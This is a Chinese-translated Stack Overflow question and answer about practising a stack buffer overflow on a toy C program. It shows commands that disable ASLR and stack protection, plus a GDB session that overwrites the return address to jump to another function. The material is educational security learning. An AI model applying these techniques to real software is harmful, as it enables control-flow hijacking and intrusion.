如何在现代系统上测试缓冲区溢出？答案

【问题标题】：How do I test out buffer overflows on a modern system?如何在现代系统上测试缓冲区溢出？
【发布时间】：2014-12-02 17:21:52
【问题描述】：

我目前有兴趣学习如何处理缓冲区溢出。我已经完成了相当多的组装工作，并且了解了堆栈的工作原理以及如何在 C 中实现缓冲区溢出。但是，我在尝试让 GCC 4.9.1 允许我溢出时遇到了很多麻烦适当的缓冲区。我正在运行 Debian Jessie。

Here 是我尝试遵循的教程，在第 2.2 节中。我已经复制/粘贴了他提供的 C 程序，而且我使用的是与他相同的 Perl 脚本，所以一切都与他的情况完全相同（当然除了系统）。

这些是我一直得到的结果：

 ~/projects/buffer-overflow$ ls
 run.pl  test.c
 ~/projects/buffer-overflow$ sudo su 
 root@wash# echo "0" > /proc/sys/kernel/randomize_va_space 
 root@wash# exit
 exit
 ~/projects/buffer-overflow$ gcc -m32 -fno-stack-protector -zexecstack test.c 
 ~/projects/buffer-overflow$ ./run.pl 
 Address of foo = 0x804845b
 Address of bar = 0x80484a4
 My stack looks like:
 (nil)
 0xffffd4a8
 0xf7e58b2f
 0xf7fb3ac0
 0x8048657
 0xffffd494

 ABCDEFGHIJKLMNOPP@
 Now the stack looks like:
 0xffffd718
 0xffffd4a8
 0xf7e58b2f
 0xf7fb3ac0
 0x42418657
 0x46454443

【问题讨论】：

我不明白接近投票。这个问题对我来说似乎很清楚，而且肯定是关于编程的。
在尝试使用 Perl 脚本之前，您是否尝试过输入一个长字符串，以验证堆栈是否被“正确”覆盖？每个版本的 gcc 都针对这种技巧引入了新的优化和对策。您可能想尝试使用 -O。
@NPE。我也很担心这个。对我来说，这似乎是一个合法且有趣的问题。
在最后两行，0x4241...0x46454443 上似乎有ABCDEF。堆栈只是略有不同，但它正在工作。
如果我是你，我会非常仔细地查看生成的汇编代码gcc -S ...。这将准确地告诉您编译器生成了什么，以及为什么行为与您期望的不同。

标签： c gcc stack-overflow

【解决方案1】：

Perl 脚本在这里不是特别有用，不同的系统会使用不同的地址，所以让我们不使用脚本......

首先，找出覆盖返回地址所需的确切字节数。我们可以用 GDB 和 Perl 做到这一点：

(gdb) run `perl -e 'print "A" x 26';`
Address of foo = 0x804845b
Address of bar = 0x80484a5
My stack looks like:
0xf7fb1000
0xffffdab8
0xf7e44476
0xf7fb1d60
0x8048647
 0xffffdaa8

AAAAAAAAAAAAAAAAAAAAAAAAAA
Now the stack looks like:
0xffffdcbb
0xffffdab8
0xf7e44476
0xf7fb1d60
0x41418647
0x41414141


Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

如你所见，26 字节将覆盖 EIP，因此通过将最后四个“A”字符替换为我们的 bar() 函数地址（不要忘记将其放入小端格式），我们应该会成功：

(gdb) run `perl -e 'print "A" x 22';``perl -e 'print "\xa5\x84\x04\x8"';`
Address of foo = 0x804845b
Address of bar = 0x80484a5
My stack looks like:
0xf7fb1000
0xffffdab8
0xf7e44476
0xf7fb1d60
0x8048647
 0xffffdaa8

AAAAAAAAAAAAAAAAAAAAAA��
Now the stack looks like:
0xffffdcbb
0xffffdab8
0xf7e44476
0xf7fb1d60
0x41418647
0x41414141

Augh! I've been hacked!

Program received signal SIGSEGV, Segmentation fault.
0xffffdc06 in ?? ()

如您所见，我们成功返回函数 bar()。

【讨论】：

【解决方案2】：

我会尝试-fno-stack-protector-all（添加-all）和其他-O？选项，导致一些优化打开了一些-fxxx。

【讨论】：